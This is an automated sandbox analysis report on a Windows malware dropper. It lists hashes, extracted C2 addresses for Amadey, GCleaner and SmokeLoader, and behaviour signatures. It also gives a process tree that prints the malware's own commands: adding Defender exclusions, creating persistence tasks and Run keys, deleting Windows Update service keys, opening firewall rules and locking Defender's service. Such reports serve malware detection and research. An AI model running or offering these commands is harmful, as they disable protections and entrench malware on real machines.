Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/06/2023, 10:27

General

  • Target

    fileexe.exe

  • Size

    4.3MB

  • MD5

    75736d164f6f4ae0bb6f856d8dc01db4

  • SHA1

    a280cc0281045dca631a09978a9132ba9d58a2a8

  • SHA256

    5aad31095b0b9a429fed8773a233eb872868467d33f52b9d6f6e7fa078092011

  • SHA512

    94ac3b246673394104b368767e73e937068841f5dbcd01462bd710ba06dc10af2b33473fd84e3cbe67301c1db443bfc00907d3ce7b88a78e329014714ccea18c

  • SSDEEP

    98304:0Wo3BduYaE+I9noizGfIYVcfa9n06bTpHWOTez/M6bsUn5v:0X3BgHETKHqa9nhpxezhv

Malware Config

Extracted

Family

amadey

Version

3.83

C2

5.42.65.80/8bmeVwqx/index.php

Extracted

Family

gcleaner

C2

45.12.253.56

45.12.253.72

45.12.253.98

45.12.253.75

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

smokeloader

Version

2020

C2

http://host-file-host6.com/

http://host-host-file8.com/

rc4.i32
rc4.i32

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect Fabookie payload 2 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 16 IoCs
  • Modifies security service 2 TTPs 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 4 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 11 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    PID:3184
    • C:\Users\Admin\AppData\Local\Temp\fileexe.exe
      "C:\Users\Admin\AppData\Local\Temp\fileexe.exe"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3984
      • C:\Users\Admin\AppData\Local\Temp\aafg31.exe
        "C:\Users\Admin\AppData\Local\Temp\aafg31.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:448
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /IM chrome.exe /F
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3884
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /IM msedge.exe /F
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4484
      • C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
        "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
          "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
            5⤵
            • Creates scheduled task(s)
            PID:2436
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              6⤵
                PID:2124
              • C:\Windows\SysWOW64\cacls.exe
                CACLS "oneetx.exe" /P "Admin:N"
                6⤵
                  PID:4608
                • C:\Windows\SysWOW64\cacls.exe
                  CACLS "oneetx.exe" /P "Admin:R" /E
                  6⤵
                    PID:4612
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "..\207aa4515d" /P "Admin:N"
                    6⤵
                      PID:4468
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      6⤵
                        PID:4092
                      • C:\Windows\SysWOW64\cacls.exe
                        CACLS "..\207aa4515d" /P "Admin:R" /E
                        6⤵
                          PID:2540
                      • C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1460
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 628
                          6⤵
                          • Program crash
                          PID:1492
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 880
                          6⤵
                          • Program crash
                          PID:3276
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 888
                          6⤵
                          • Program crash
                          PID:5024
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 888
                          6⤵
                          • Program crash
                          PID:3712
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 912
                          6⤵
                          • Program crash
                          PID:4268
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 1104
                          6⤵
                          • Program crash
                          PID:5052
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 1104
                          6⤵
                          • Program crash
                          PID:1376
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 1432
                          6⤵
                          • Program crash
                          PID:1480
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe" & exit
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:228
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im "setup.exe" /f
                            7⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4952
                      • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:3840
                        • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe"
                          6⤵
                          • Executes dropped EXE
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:1832
                      • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4924
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          6⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5076
                        • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe"
                          6⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Checks for VirtualBox DLLs, possible anti-VM trick
                          • Drops file in Windows directory
                          • Modifies data under HKEY_USERS
                          • Suspicious use of WriteProcessMemory
                          PID:1020
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            7⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4588
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                            7⤵
                              PID:3732
                              • C:\Windows\system32\netsh.exe
                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                8⤵
                                • Modifies Windows Firewall
                                PID:3840
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2768
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4272
                            • C:\Windows\rss\csrss.exe
                              C:\Windows\rss\csrss.exe
                              7⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Manipulates WinMonFS driver.
                              • Drops file in Windows directory
                              PID:2396
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                8⤵
                                • Drops file in System32 directory
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4584
                              • C:\Windows\SYSTEM32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                8⤵
                                • Creates scheduled task(s)
                                PID:3040
                              • C:\Windows\SYSTEM32\schtasks.exe
                                schtasks /delete /tn ScheduledUpdate /f
                                8⤵
                                  PID:4468
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  8⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5076
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  8⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:4900
                                • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                  8⤵
                                  • Executes dropped EXE
                                  PID:2348
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  8⤵
                                  • Creates scheduled task(s)
                                  PID:4780
                                • C:\Windows\windefender.exe
                                  "C:\Windows\windefender.exe"
                                  8⤵
                                  • Executes dropped EXE
                                  PID:3404
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                    9⤵
                                      PID:1076
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                        10⤵
                                        • Launches sc.exe
                                        PID:3892
                                  • C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
                                    C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
                                    8⤵
                                    • Executes dropped EXE
                                    PID:4912
                                    • C:\Windows\SYSTEM32\schtasks.exe
                                      schtasks /delete /tn "csrss" /f
                                      9⤵
                                        PID:3156
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks /delete /tn "ScheduledUpdate" /f
                                        9⤵
                                          PID:4360
                            • C:\Users\Admin\AppData\Local\Temp\XandETC.exe
                              "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
                              3⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Executes dropped EXE
                              • Drops file in Program Files directory
                              PID:1432
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3776
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4940
                          • C:\Windows\System32\cmd.exe
                            C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                            2⤵
                              PID:2560
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:956
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2572
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -standby-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2992
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -standby-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3612
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              2⤵
                                PID:1484
                                • C:\Windows\System32\sc.exe
                                  sc stop UsoSvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:2692
                                • C:\Windows\System32\sc.exe
                                  sc stop WaaSMedicSvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:2828
                                • C:\Windows\System32\sc.exe
                                  sc stop wuauserv
                                  3⤵
                                  • Launches sc.exe
                                  PID:4788
                                • C:\Windows\System32\sc.exe
                                  sc stop bits
                                  3⤵
                                  • Launches sc.exe
                                  PID:4332
                                • C:\Windows\System32\sc.exe
                                  sc stop dosvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:1760
                                • C:\Windows\System32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                  3⤵
                                    PID:4276
                                  • C:\Windows\System32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                    3⤵
                                      PID:3208
                                    • C:\Windows\System32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                      3⤵
                                      • Modifies security service
                                      PID:3260
                                    • C:\Windows\System32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                      3⤵
                                        PID:3248
                                      • C:\Windows\System32\reg.exe
                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                        3⤵
                                          PID:1980
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
                                        2⤵
                                          PID:3020
                                          • C:\Windows\system32\schtasks.exe
                                            "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
                                            3⤵
                                              PID:4748
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                            2⤵
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            PID:2268
                                          • C:\Windows\System32\cmd.exe
                                            C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                            2⤵
                                              PID:1404
                                              • C:\Windows\System32\sc.exe
                                                sc stop UsoSvc
                                                3⤵
                                                • Launches sc.exe
                                                PID:3884
                                              • C:\Windows\System32\reg.exe
                                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                3⤵
                                                  PID:1924
                                                • C:\Windows\System32\reg.exe
                                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                  3⤵
                                                    PID:3840
                                                  • C:\Windows\System32\reg.exe
                                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                    3⤵
                                                      PID:4404
                                                    • C:\Windows\System32\reg.exe
                                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                      3⤵
                                                        PID:1844
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop dosvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1708
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop bits
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1120
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop wuauserv
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3088
                                                      • C:\Windows\System32\reg.exe
                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                        3⤵
                                                          PID:3776
                                                        • C:\Windows\System32\sc.exe
                                                          sc stop WaaSMedicSvc
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:1584
                                                      • C:\Windows\System32\cmd.exe
                                                        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                        2⤵
                                                          PID:4004
                                                          • C:\Windows\System32\powercfg.exe
                                                            powercfg /x -hibernate-timeout-dc 0
                                                            3⤵
                                                              PID:1536
                                                            • C:\Windows\System32\powercfg.exe
                                                              powercfg /x -hibernate-timeout-ac 0
                                                              3⤵
                                                                PID:4672
                                                              • C:\Windows\System32\powercfg.exe
                                                                powercfg /x -standby-timeout-ac 0
                                                                3⤵
                                                                  PID:1484
                                                                • C:\Windows\System32\powercfg.exe
                                                                  powercfg /x -standby-timeout-dc 0
                                                                  3⤵
                                                                    PID:3480
                                                                • C:\Windows\System32\conhost.exe
                                                                  C:\Windows\System32\conhost.exe zuhwtyqtfkk
                                                                  2⤵
                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                  PID:4916
                                                                • C:\Windows\System32\cmd.exe
                                                                  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                                                  2⤵
                                                                  • Drops file in Program Files directory
                                                                  PID:4976
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic PATH Win32_VideoController GET Name, VideoProcessor
                                                                    3⤵
                                                                    • Detects videocard installed
                                                                    PID:3164
                                                                • C:\Windows\System32\cmd.exe
                                                                  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                                                  2⤵
                                                                  • Drops file in Program Files directory
                                                                  PID:2588
                                                                • C:\Windows\System32\conhost.exe
                                                                  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
                                                                  2⤵
                                                                    PID:4016
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1460 -ip 1460
                                                                  1⤵
                                                                    PID:4720
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1460 -ip 1460
                                                                    1⤵
                                                                      PID:1676
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1460 -ip 1460
                                                                      1⤵
                                                                        PID:992
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1460 -ip 1460
                                                                        1⤵
                                                                          PID:3176
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1460 -ip 1460
                                                                          1⤵
                                                                            PID:528
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1460 -ip 1460
                                                                            1⤵
                                                                              PID:2732
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1460 -ip 1460
                                                                              1⤵
                                                                                PID:3984
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1460 -ip 1460
                                                                                1⤵
                                                                                  PID:1340
                                                                                • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:4968
                                                                                • C:\Program Files\Notepad\Chrome\updater.exe
                                                                                  "C:\Program Files\Notepad\Chrome\updater.exe"
                                                                                  1⤵
                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of SetThreadContext
                                                                                  • Drops file in Program Files directory
                                                                                  PID:628
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                                                                                    2⤵
                                                                                    • Drops file in System32 directory
                                                                                    • Modifies data under HKEY_USERS
                                                                                    PID:3412
                                                                                • C:\Windows\windefender.exe
                                                                                  C:\Windows\windefender.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  • Modifies data under HKEY_USERS
                                                                                  PID:1660
